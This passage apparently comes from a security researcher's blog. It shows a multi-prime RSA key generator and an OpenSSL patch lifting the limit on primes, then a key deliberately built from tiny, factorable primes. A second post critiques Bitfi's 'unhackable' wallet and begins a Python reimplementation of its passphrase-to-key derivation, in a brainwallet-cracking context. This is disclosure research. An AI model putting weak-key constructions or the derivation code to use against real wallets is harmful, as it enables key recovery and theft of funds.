39	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'prime1'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
40	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'prime2'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
41	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'exponent1'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
42	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'exponent2'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
43	`<span class="pgcssn">NamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'coefficient'</span><span class="pgcssp">,</span> <span class="pgcssn">Integer</span><span class="pgcssp">()),</span>`
44	`<span class="pgcssn">OptionalNamedType</span><span class="pgcssp">(</span><span class="pgcsss1">'otherPrimeInfos'</span><span class="pgcssp">,</span> <span class="pgcssn">OtherPrimeInfos</span><span class="pgcssp">())</span>`
45	`<span class="pgcssp">)</span>`
46
47	`<span class="pgcssc1"># instantiate private key given public exponent and list of primes</span>`
48	`<span class="pgcssk">def</span> <span class="pgcssfm">__init__</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">,</span> <span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">):</span>`
49	`<span class="pgcssnb">super</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssfm">__init__</span><span class="pgcssp">()</span>`
50
51	`<span class="pgcssk">if</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssnb">set</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">))</span> <span class="pgcsso">!=</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">):</span>`
52	`<span class="pgcssk">raise</span> <span class="pgcssn">RSAError</span><span class="pgcssp">(</span><span class="pgcsss1">'Cannot compute CRT coefficents with repeat primes'</span><span class="pgcssp">)</span>`
53
54	`<span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span> <span class="pgcsso">+</span> <span class="pgcssn">primes</span>`
55
56	`<span class="pgcssc1"># compute modulus</span>`
57	`<span class="pgcssn">n</span> <span class="pgcsso">=</span> <span class="pgcssn">product</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">:])</span>`
58
59	`<span class="pgcssn">primes_minus_one</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcssn">x</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span> <span class="pgcssk">for</span> <span class="pgcssn">x</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">]</span>`
60	`<span class="pgcssn">phi</span> <span class="pgcsso">=</span> <span class="pgcssn">product</span><span class="pgcssp">(</span><span class="pgcssn">primes_minus_one</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">:])</span>`
61
62	`<span class="pgcssk">if</span> <span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">)</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span>`
63	`<span class="pgcssk">raise</span> <span class="pgcssn">RSAError</span><span class="pgcssp">(</span><span class="pgcsss1">'e and phi(n) are not coprime'</span><span class="pgcssp">)</span>`
64
65	`<span class="pgcssc1"># compute private exponent</span>`
66	`<span class="pgcssn">d</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">))</span>`
67
68	`<span class="pgcssn">exponents</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcssn">d</span> <span class="pgcsso">%</span> <span class="pgcssn">x</span> <span class="pgcssk">for</span> <span class="pgcssn">x</span> <span class="pgcssow">in</span> <span class="pgcssn">primes_minus_one</span><span class="pgcssp">]</span>`
69
70	`<span class="pgcssn">coefficients</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcsskc">None</span><span class="pgcssp">]</span> <span class="pgcsso">*</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span>`
71	`<span class="pgcssc1"># inv q mod p</span>`
72	<span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">],</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]))</span>
73	`<span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">3</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)):</span>`
74	`<span class="pgcssc1"># inv product(r[1] ... r[i-1]) mod r[i]</span>`
75	<span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">gmpy2</span><span class="pgcsso">.</span><span class="pgcssn">invert</span><span class="pgcssp">(</span><span class="pgcssn">product</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcssp">]),</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]))</span>
76
77	`<span class="pgcssc1"># base set of rsa private key values</span>`
78	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'modulus'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">n</span>`
79	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'publicExponent'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">e</span>`
80	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'privateExponent'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">d</span>`
81	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'prime1'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span>`
82	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'prime2'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span>`
83	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'exponent1'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">exponents</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span>`
84	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'exponent2'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">exponents</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span>`
85	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'coefficient'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">]</span>`
86
87	`<span class="pgcssc1"># add values for additional primes if needed</span>`
88	`<span class="pgcssk">if</span> <span class="pgcssp">(</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span><span class="pgcssp">)</span> <span class="pgcsso">></span> <span class="pgcssmi">2</span><span class="pgcssp">:</span>`
89	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'version'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssmi">1</span>`
90	`<span class="pgcssn">otherPrimeInfos</span> <span class="pgcsso">=</span> <span class="pgcssn">OtherPrimeInfos</span><span class="pgcssp">()</span>`
91	`<span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">3</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)):</span>`
92	`<span class="pgcssn">info</span> <span class="pgcsso">=</span> <span class="pgcssn">OtherPrimeInfo</span><span class="pgcssp">()</span>`
93	`<span class="pgcssn">info</span><span class="pgcssp">[</span><span class="pgcsss1">'prime'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span>`
94	`<span class="pgcssn">info</span><span class="pgcssp">[</span><span class="pgcsss1">'exponent'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">exponents</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span>`
95	`<span class="pgcssn">info</span><span class="pgcssp">[</span><span class="pgcsss1">'coefficient'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">coefficients</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">]</span>`
96	`<span class="pgcssn">otherPrimeInfos</span><span class="pgcsso">.</span><span class="pgcssn">setComponentByPosition</span><span class="pgcssp">(</span><span class="pgcssn">i</span> <span class="pgcsso">-</span> <span class="pgcssmi">3</span><span class="pgcssp">,</span> <span class="pgcssn">info</span><span class="pgcssp">)</span>`
97
98	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'otherPrimeInfos'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">otherPrimeInfos</span>`
99	`<span class="pgcssk">else</span><span class="pgcssp">:</span>`
100	`<span class="pgcssbp">self</span><span class="pgcssp">[</span><span class="pgcsss1">'version'</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span>`
101
102	`<span class="pgcssnd">@property</span>`
103	`<span class="pgcssk">def</span> <span class="pgcssnf">der</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">):</span>`
104	`<span class="pgcssk">return</span> <span class="pgcssn">der_encode</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">)</span>`
105
106	`<span class="pgcssnd">@property</span>`
107	`<span class="pgcssk">def</span> <span class="pgcssnf">pem</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcssp">):</span>`
108	`<span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcssn">base64</span><span class="pgcsso">.</span><span class="pgcssn">b64encode</span><span class="pgcssp">(</span><span class="pgcssbp">self</span><span class="pgcsso">.</span><span class="pgcssn">der</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span>`
109	<span class="pgcssn">b64</span> <span class="pgcsso">=</span> <span class="pgcsss1">'</span><span class="pgcssse">\n</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">join</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcsso">+</span><span class="pgcssmi">64</span><span class="pgcssp">]</span> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">b64</span><span class="pgcssp">),</span> <span class="pgcssmi">64</span><span class="pgcssp">))</span>
110	<span class="pgcssk">return</span> <span class="pgcsss1">'-----BEGIN </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsssi">{b64}</span><span class="pgcssse">\n</span><span class="pgcsss1">-----END </span><span class="pgcsssi">{text}</span><span class="pgcsss1">-----</span><span class="pgcssse">\n</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span>
111	`<span class="pgcssn">b64</span><span class="pgcsso">=</span><span class="pgcssn">b64</span><span class="pgcssp">,</span>`
112	`<span class="pgcssn">text</span><span class="pgcsso">=</span><span class="pgcsss1">'RSA PRIVATE KEY'</span>`
113	`<span class="pgcssp">)</span>`
114
115	`<span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">'__main__'</span><span class="pgcssp">:</span>`
116	`<span class="pgcssn">e</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">])</span>`
117	`<span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">2</span><span class="pgcssp">:]))</span>`
118	`<span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">RSAPrivateKey</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">pem</span><span class="pgcssp">)</span>`

With that out of the way, I generated a key and tried to use it with OpenSSL. It did not work.

$ ./mprsa.py 16209469334791745752099089153245209595938905391366915442843655311870250775988478962443242925129138403268309023495340941270951066230818482657126058912138893504120575530462325274587 223 373 505511 62264393819 692091200694401 48054446430444121028200972020533400162078125396018622197185481602069377646593949231788063528654342806608883936083928621453549454859416361204853853702948393735291252921874962603428963373263708172690458493327748172536543917708281204835129658881247320770314746942732710565970028734766695760731222427123603048615247949771446031873465256836264652436820606092660156412961641977084159217469138549478995858415013921 > multi.key

$ openssl req -new -batch -key multi.key -out multi.csr -subj '/CN=test'
139698227354952:error:0D0DC006:asn1 encoding routines:ASN1_item_sign_ctx:EVP lib:crypto/asn1/a_sign.c:224:

This somewhat confusing error message seems to be the result of some hard coded limits in OpenSSL. It won’t work with keys having more than five primes at all, and has further restrictions in some cases depending on key size. Fortunately, it was trivial to patch these limits out.

openssl-manyprime.diff
1	`<span class="pgcssgd">--- openssl-1.1.1c.orig/crypto/rsa/rsa_locl.h</span>`
2	`<span class="pgcssgi">+++ openssl-1.1.1c/crypto/rsa/rsa_locl.h</span>`
3	`<span class="pgcssgu">@@ -10,7 +10,7 @@</span>`
4	`<span class="pgcssw"> </span>#include <openssl/rsa.h>`
5	`<span class="pgcssw"> </span>#include "internal/refcount.h"`
6
7	`<span class="pgcssgd">-#define RSA_MAX_PRIME_NUM 5</span>`
8	`<span class="pgcssgi">+#define RSA_MAX_PRIME_NUM 64</span>`
9	`<span class="pgcssw"> </span>#define RSA_MIN_MODULUS_BITS 512`
10
11	`<span class="pgcssw"> </span>typedef struct rsa_prime_info_st {`
12	`<span class="pgcssgd">--- openssl-1.1.1c.orig/crypto/rsa/rsa_mp.c</span>`
13	`<span class="pgcssgi">+++ openssl-1.1.1c/crypto/rsa/rsa_mp.c</span>`
14	`<span class="pgcssgu">@@ -111,5 +111,5 @@ int rsa_multip_cap(int bits)</span>`
15	`<span class="pgcssw"> </span> if (cap > RSA_MAX_PRIME_NUM)`
16	`<span class="pgcssw"> </span> cap = RSA_MAX_PRIME_NUM;`
17
18	`<span class="pgcssgd">- return cap;</span>`
19	`<span class="pgcssgi">+ return RSA_MAX_PRIME_NUM;</span>`
20	`<span class="pgcssw"> </span>}`

After installing a patched OpenSSL package, I tried again.

$ openssl req -new -batch -key multi.key -out multi.csr -subj '/CN=test'

$ openssl x509 -signkey multi.key -in multi.csr -req -days 999 -out multi.crt
Signature ok
subject=CN = test
Getting Private key

$ openssl verify -CAfile multi.crt multi.crt
multi.crt: OK

$ openssl rsa -noout -text -in multi.key
RSA Private-Key: (1472 bit, 6 primes)
modulus:
    00:aa:98:6c:52:74:cf:48:d3:13:3c:5d:42:35:c2:
    e0:d7:f2:62:ef:41:e5:bc:bc:bb:d5:44:28:b4:c2:
    51:52:3e:80:b4:92:17:e2:e0:e6:34:de:f5:37:95:
    7c:78:70:7a:71:a2:00:64:9f:7a:15:e0:d0:73:9e:
    b7:95:70:45:c8:6b:0f:01:2b:48:9a:97:2e:f2:78:
    e4:19:14:8f:53:82:59:5c:5d:7c:a7:fc:02:a5:a4:
    03:3a:7a:d7:40:e4:fc:6b:aa:e7:6f:a9:a9:2d:78:
    8e:33:c6:0b:c0:a6:b9:32:3e:47:a0:53:8d:91:45:
    2d:bd:72:ed:48:49:b6:5d:98:8d:f7:cd:2d:6b:2f:
    a5:02:96:b3:92:e6:77:11:52:6b:8a:f0:70:85:ba:
    ab:e2:73:58:6b:da:4b:21:84:7f:9f:05:b0:06:6f:
    9e:f8:83:24:31:f1:b7:95:6a:5c:32:22:14:2c:47:
    09:40:40:cb:bf
publicExponent:
    01:00:01:b7:02:e0:7a:d7:1c:d6:8e:e8:4a:58:f7:
    92:eb:c8:db:27:0b:0d:d2:25:61:27:18:1f:c2:1c:
    db:6f:38:46:92:3d:dc:a2:d3:e7:a2:76:8b:28:56:
    bd:25:97:c1:4d:43:c7:5d:d0:27:68:91:d3:b2:c5:
    98:0e:d6:57:c6:3e:a2:ba:a8:70:94:6b:30:77:db
privateExponent:
    00:8c:ea:a5:ac:1a:12:53:1b:28:5b:75:0a:85:cb:
    d0:4b:48:2c:cb:c3:16:bf:72:10:c0:6b:eb:8e:2b:
    1a:63:d3:d2:3f:4e:ac:72:04:8a:83:cc:e8:a8:05:
    e4:76:04:aa:64:3a:02:90:fa:f4:d2:6d:dc:5b:a7:
    ff:8e:a1:d9:6f:81:8a:56:d8:dc:cd:b0:64:ff:5f:
    73:b0:9d:fb:8b:72:91:39:e3:7f:84:5c:c3:d1:6e:
    4a:f0:be:7e:d0:40:31:e2:06:5f:5c:72:74:88:9b:
    ff:6c:1a:2e:1e:b4:b6:3c:9f:32:57:5c:96:10:67:
    c3:a6:7b:06:44:a3:ca:4a:2d:d4:76:f3:98:9e:61:
    f5:6e:55:8e:fa:d6:26:e8:b8:5d:d6:4a:9f:21:21:
    60:fc:59:d5:d6:cc:58:c1:9d:9f:89:d0:b3:f1:ad:
    b2:3d:d9:d0:45:b0:c1:3d:46:5e:e8:86:68:bb:02:
    5d:ce:5c:ac:53
prime1: 223 (0xdf)
prime2: 373 (0x175)
exponent1: 205 (0xcd)
exponent2: 319 (0x13f)
coefficient: 168 (0xa8)
prime3: 505511 (0x7b6a7)
exponent3: 201953 (0x314e1)
coefficient3: 141986 (0x22aa2)
prime4: 62264393819 (0xe7f3f405b)
exponent4: 34891590717 (0x81fb36c3d)
coefficient4: 15148084064 (0x386e56b60)
prime5: 692091200694401 (0x275740a2b6881)
exponent5: 552465485917523 (0x1f676e509ed53)
coefficient5: 78237913099958 (0x47282f04aeb6)
prime6:
    7d:25:8e:35:a8:57:b2:4b:8c:56:6b:67:85:e0:bd:
    03:61:a8:9c:ab:50:dc:a2:25:61:0f:c8:af:7d:0f:
    51:f3:24:11:26:3c:e9:2f:0f:c7:1e:9b:96:7e:d3:
    e0:56:38:1e:48:de:df:11:e6:bf:8e:86:8a:3a:d8:
    d4:ec:9b:a9:7e:b7:f2:84:0e:c3:f3:3c:e7:bb:69:
    fd:6e:db:1e:07:58:35:ae:de:b1:e6:82:12:61:73:
    87:18:e7:e8:d5:31:0f:59:f1:05:b7:32:21:ef:cd:
    28:6c:56:4e:fa:be:67:02:c2:2a:ed:24:8c:8d:56:
    d5:12:ee:49:05:74:a3:ac:7d:d1:01:07:25:c2:ff:
    ba:07:10:f5:26:14:41:07:8b:c8:e7:fc:96:d2:81:
    24:b6:3b:a5:7d:ae:15:f5:34:b9:73:b5:af:05:70:
    5e:69:d0:21
exponent6:
    54:7c:0f:4c:e7:e2:e5:2e:9d:54:dd:25:cf:39:f5:
    ca:a4:3a:90:a7:69:87:de:ad:9c:e8:be:e8:98:60:
    b0:22:0c:50:f3:74:25:9a:e4:04:b2:19:56:74:95:
    ed:0c:65:c2:a9:4b:dc:f2:87:d1:b3:59:c6:9f:28:
    88:a8:0a:85:61:53:46:90:b1:3c:14:9f:d4:33:b3:
    b0:05:27:a0:9c:93:c7:65:30:76:d7:59:01:8d:f1:
    b8:6d:c2:b4:34:1d:10:67:ef:b9:d0:f1:64:62:d9:
    8f:78:8a:f2:fc:84:9b:55:dd:dd:b6:a7:e3:21:df:
    00:9c:03:4c:89:0a:66:52:4f:0d:ae:d4:cc:2d:79:
    5b:81:f6:4a:bb:82:c8:bc:5c:51:fc:9f:91:d3:6f:
    ec:0e:43:af:98:3f:90:bb:8b:db:bd:de:b6:6e:04:
    c3:bc:73:93
coefficient6:
    4a:9c:ed:70:1f:c7:4b:f4:0b:e0:32:a5:db:f5:07:
    13:88:25:e9:c0:21:16:a2:09:5d:a6:db:00:c9:b2:
    5e:63:90:b7:a1:0f:aa:60:ed:39:fd:3a:2b:ab:21:
    c9:c8:d6:ab:e0:40:e9:29:fa:b4:84:11:6a:a8:f2:
    2f:b6:27:6b:5e:50:1a:4b:55:74:83:51:7c:83:91:
    bf:ce:46:ee:30:76:68:21:71:a3:9d:cd:04:54:41:
    24:98:5e:a4:61:c5:0f:b5:5a:24:f8:d1:3a:39:21:
    ce:af:a8:33:e0:0a:ee:dd:7d:21:b5:e6:e8:f8:32:
    5d:59:d9:09:5e:62:53:82:0c:e8:df:21:76:35:fe:
    47:d8:9e:56:e7:a5:2f:45:d2:e0:25:21:1e:da:63:
    ec:be:fa:f3:47:a0:0a:1b:7b:42:6c:9e:0f:b3:91:
    83:f6:38:3f

It works!

One thing I did notice when testing is that when using keys with particularly small primes, I’d sometimes get errors about “no inverse”. I’m not entirely sure of the cause, but I was able to get around it by retrying operations a few times.

Bitfi’s Hardware Wallet is Terrible

2018-07-27T08:23:00-07:00

It recently came to my attention that John McAfee has been advertising a cryptocurrency hardware wallet from a company called Bitfi, with the claim that it is “unhackable”. There’s even a $250,000 bounty [1] to hack it. I do not have one of the actual devices in my possession, but from my review of the publicly available “source code” [PDF] and their private key calculator, my conclusion is that their product is most charitably described as a “footgun”.

Quoting McAfee (who is known for promoting scams),

For all you naysayers who claim that "nothing is unhackable" & who don't believe that my Bitfi wallet is truly the world's first unhackable device, a $100,000 bounty goes to anyone who can hack it. Money talks, bullshit walks. Details on Bitfi.com[2]

We created a simple, foolproof way to use the brain as the wallet. The Bitfi.com wallet is the transcriber between the inner brain and the outer world of digital currencies. Until someone discovers a means of hacking the brain, your money is safe.[3]

Oh, dear... That sounds terribly familiar. In the lead-up to my talk about cracking these kinds of schemes, Wired published an article about my work literally titled “Brainflayer: A Password Cracker That Steals Bitcoin From Your Brain”. My talk managed to kill the infamous brainwallet.org site, but the idea of turning a user supplied passphrase into cryptocurrency keys seemingly will not die. I had to take a look at what Bitfi was actually doing.

To start with, I had a look at their their bounty offer:

This bounty program is not intended to help Bitfi to identify security vulnerabilities since we already claim that our security is absolute and that the wallet cannot be hacked or penetrated by outside attacks. Rather this program is intended to demonstrate to anyone who claims or believes that nothing is unhackable or that they can hack into the Bitfi wallet, that such attempts are futile and that the advertised claims about the Bitfi wallet are accurate.

In other words, the sole purpose of it is to discredit security researchers like myself who raise concerns about the design of their product. This is not a new trick — it was specifically called out by Bruce Schneier as a red flag nearly twenty years ago. In this instance, Bitfi is calling it a “bounty program” to try to ride on the coattails of legitimate bug bounty programs, which are generally wide in scope. This one is unfair, falling into exactly the pattern that Schneier described:

Most cryptanalysis contests have arbitrary rules. They define what the attacker has to work with, and how a successful break looks. Jaws Technologies provided a ciphertext file and, without explaining how their algorithm worked, offered a prize to anyone who could recover the plaintext. This isn't how real cryptanalysis works; if no one wins the contest, it means nothing.

Indeed, you have to be spend $120 on a Bitfi device, and then pay another $10[4] to “preload it with coins” to even try, and then you specifically have to hack the wallet associated with particular the device they send you. If a researcher found, for example, the device had a weak RNG that allowed for key recovery by examining a series of transactions generated by it, they would not win the bounty. Neither would they for finding a way to hijack their automatic update system to install a keylogger.

Another point Schneier makes is that often the details of the algorithms used in these sorts of contests are often kept secret:

Most contests don't disclose the algorithm. And since most cryptanalysts don't have the skills for reverse-engineering (I find it tedious and boring), they never bother analyzing the systems.

Kerckhoffs’s principal in essence says that a properly designed system should still be secure even if the attacker knows everything except the key. Here, Bitfi engages in some misdirection, claiming to be “open source”, however their “source code” is just a PDF largely made of formulas copy/pasted from the description of scrypt and BIP32. A number of people called them out on this, and in response a comment on reddit, a user going by Bitfi-Team replied:

We never said we were providing full open source code. We clearly state that our wallet is open source. Just check our website before you spew garbage. But if you want the code, do some math. Don't be lazy.

Not inspiring confidence. The PDF does not acknowledge that they’re using anything related to scrypt or BIP32, and I had to compare the formulas to verify. Algorithms 5 and 6 in the paper are not clearly described, and for a full understanding I had to resort to decompiling their private key generator tool which was inexplicably hosted on the site of a juice company.[5] The zip included two DLL files and a Windows executable, which turned out to be a .Net console application written in C#. Despite it having been run through an obfuscator, dotPeek was able to give me a good picture of what was going on.

The tool displays a dire warning with a scary red background when first started:

WARNING!!!! Entering your information on this computer is extremely unsafe and it is very possible that you will lose your money by running this application.

Enter Y to continue or any other key to immediately exit and close this program.

If you’re brave enough to enter Y at this point, it will prompt you to enter a code for the cryptocurrency you’re using, the address you want to recover the private key for, your “salt” (a user selected value, they recommend using your phone number, social security number, or email address[6]) and passphrase. The private key will only be printed if the address matches, but that restriction is not inherent in the algorithm. After a few hours, I was able to get a compatible implementation in Python.

It’s essentially BIP32. with a few modifications (the string “Bitcoin seed” is replaced with SHA256(salt), which is not mentioned in the PDF) and scrypt(pass, salt, N = 2¹⁵, p = 4, r = 8, dkLen = 64) to seed the master key. Currency specific subwallets are derived with the BIP32 hardened CKD function using a “creative” algorithm to generate the subkey id. Again, I don’t have a physical Bitfi device, so I can’t verify the device itself follows the same algorithm, but this is compatible with the software they have publicly available.

Since publication, another researcher has been able to verify that the device generates addresses and keys matching my scripts.

<span class="pgcsskn">import</span> <span class="pgcssnn">sys</span>

<span class="pgcsskn">import</span> <span class="pgcssnn">hmac</span>

<span class="pgcsskn">import</span> <span class="pgcssnn">hashlib</span>

<span class="pgcsskn">import</span> <span class="pgcssnn">scrypt</span>

<span class="pgcsskn">from</span> <span class="pgcssnn">pybitcointools</span> <span class="pgcsskn">import</span> <span class="pgcsso">*</span>

<span class="pgcssk">def</span> <span class="pgcssnf">ci</span><span class="pgcssp">(</span><span class="pgcssn">s</span><span class="pgcssp">):</span>

    <span class="pgcssn">acc</span> <span class="pgcsso">=</span> <span class="pgcsss2">&quot;&quot;</span>

    <span class="pgcssk">for</span> <span class="pgcssn">c</span> <span class="pgcssow">in</span> <span class="pgcssn">s</span><span class="pgcsso">.</span><span class="pgcssn">upper</span><span class="pgcssp">():</span>

        <span class="pgcssn">acc</span> <span class="pgcsso">+=</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssnb">ord</span><span class="pgcssp">(</span><span class="pgcssn">c</span><span class="pgcssp">)</span><span class="pgcsso">-</span><span class="pgcssmi">64</span><span class="pgcssp">)</span>

    <span class="pgcssk">return</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">acc</span><span class="pgcssp">)</span>

<span class="pgcssk">def</span> <span class="pgcssnf">print_address</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcssn">password</span><span class="pgcssp">,</span> <span class="pgcssn">salt</span><span class="pgcssp">,</span> <span class="pgcssn">coin</span><span class="pgcssp">):</span>

    <span class="pgcssn">priv</span> <span class="pgcsso">=</span> <span class="pgcssn">decode_privkey</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcsss1">&#39;hex_compressed&#39;</span><span class="pgcssp">)</span>

    <span class="pgcssn">pub_c</span> <span class="pgcsso">=</span> <span class="pgcssn">privkey_to_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">priv</span><span class="pgcssp">)</span>

